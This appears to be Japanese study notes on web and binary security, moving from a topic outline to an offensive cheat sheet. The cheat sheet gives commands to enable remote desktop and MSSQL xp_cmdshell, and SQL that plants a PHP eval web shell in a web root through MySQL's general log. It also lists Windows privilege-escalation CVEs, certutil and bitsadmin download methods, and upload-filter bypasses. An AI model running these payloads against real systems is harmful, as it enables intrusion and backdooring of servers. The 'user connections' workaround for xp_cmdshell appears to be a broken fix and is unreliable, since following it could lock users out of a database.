主要分野
- Webセキュリティ
- バイナリセキュリティ(リバースエンジニアリング・エクスプロイト含む)
- 暗号理論
基礎知識領域
- ソフトウェア開発
- データベース原理
- プログラミング言語
- デジタルフォレンジックとステガノグラフィー
- ネットワークプロトコルとアルゴリズム
- アルゴリズムとデータ構造
- オープンソースツールの内部原理理解と独自ツール作成能力
Webセキュリティの主要攻撃ベクトル
- インジェクション系:SQLインジェクション、XSS、XXE、OSコマンドインジェクション、ファイルアップロード/ダウンロード脆弱性
- 情報漏洩系:ソースコード漏洩、機密APIエンドポイント、従業員情報流出、サーバー設定情報漏洩
- ロジック系:権限昇格回避、レースコンディション、データ改ざん
Web動作原理
HTTPプロトコルとWebサーバーの理解が不可欠。
HTTPプロトコル構成要素
- リクエスト/レスポンスヘッダー
- リクエスト/レスポンスボディ
- HTTPメソッド(GET, POST, PUT, DELETEなど)
Webサーバー
- 種類(Apache, Nginx, IISなど)
- リクエスト処理フロー
- 基本的なセキュリティ設定
関連プログラミング言語
- フロントエンド:HTML, CSS, JavaScript
- バックエンド/スクリプト:PHP, Java, Python
データベース
リレーショナル(例:MySQL)およびNoSQLデータベースの基本原理を理解する必要がある。
リバースエンジニアリング
- アーキテクチャ:マシン命令とアセンブリ言語
- コンパイラ理論:オートマトン、字句解析、構文解析
- OS起動プロセス
- コンピュータ構成原理
脆弱性発見とエクスプロイト手法
- リバースエンジニアリングによる解析
- ファジングテスト
- 脆弱性の定義と分類
- 開発者が犯しやすい典型的なミス
- 情報収集:ポートスキャン、サブドメイン列挙、コードリーク調査、従業員名辞書作成
- パケットキャプチャ・改変・リプレイツール(例:Burp Suite, Wireshark)
- ブラウザ拡張(例:Firefox + HackBar)
- VPSを活用した脆弱性検証
- アプリケーションのビジネスロジック分析
- Webアーキテクチャの把握
- 想定される脆弱性タイプの洗い出し
- 全通信パケットの詳細検査
- 単一脆弱性の悪用(例:シェル取得、機密APIアクセス)
- 複合攻撃(例:XSS + CSRF連携)
暗号理論
- 古典暗号:シーザー暗号、シフト暗号
- 現代暗号:
- 共通鍵暗号(DES, AES)
- 公開鍵暗号(RSA)
Windows環境での実用コマンド例
Windows Server 2003でリモートデスクトップを有効化
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
Windows XP/2003でレジストリ経由でRDPを有効化
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
MSSQLでのxp_cmdshell操作
無効化
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
有効化
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
エラーメッセージ「xp_cmdshell 設定オプションが存在しません」と表示される場合、以下の代替手順を試す:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'user connections', 1;
RECONFIGURE;
MySQL一般ログ経由でのWebシェル取得
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/backdoor.php';
SELECT '<?php @eval($_POST["cmd"]); ?>';
SET GLOBAL general_log = OFF;
Windows提権に関する代表的CVEリスト
CVE-2017-0213 [COM特権昇格] (Win10/8.1/7/Server 2016/2012/2008)
MS17-010 [KB4013389] [SMB脆弱性] (Win7/2008/2003/XP)
MS16-135 [KB3199135] [カーネルドライバ] (Server 2016)
MS16-098 [KB3178466] [カーネルドライバ] (Win8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-032 [KB3143141] [Secondary Logon] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-051 [KB3057191] [win32k.sys] (2003/2008/7/8/2012)
MS14-068 [KB3011780] [Kerberos特権昇格] (2003/2008/2012/7/8)
MS08-067 [KB958644] [NetAPIリモート実行] (2000/XP/2003/Vista/2008)
MS03-026 [KB823980] [RPCバッファオーバーラン] (NT/2000/XP/2003)
Windowsにおけるファイルダウンロード手法
PowerShell、certutil、bitsadmin、ftp、debug.exeなど多様な方法が存在する。
Pythonによる簡易HTTPサーバー起動
- Python 2.3以前:
python -c "import SimpleHTTPServer as s; s.test()" 8000 - Python 2.4~2.7:
python -m SimpleHTTPServer 8000 - Python 3.x:
python -m http.server 8000
ファイルアップロードの回避テクニック
拡張子フィルタリング、MIMEタイプチェック、コンテンツ検証などをバイパスするための様々な手法が存在する。代表例として、.htaccess利用、Nullバイト注入、二重拡張子、画像内埋め込みなどが知られる。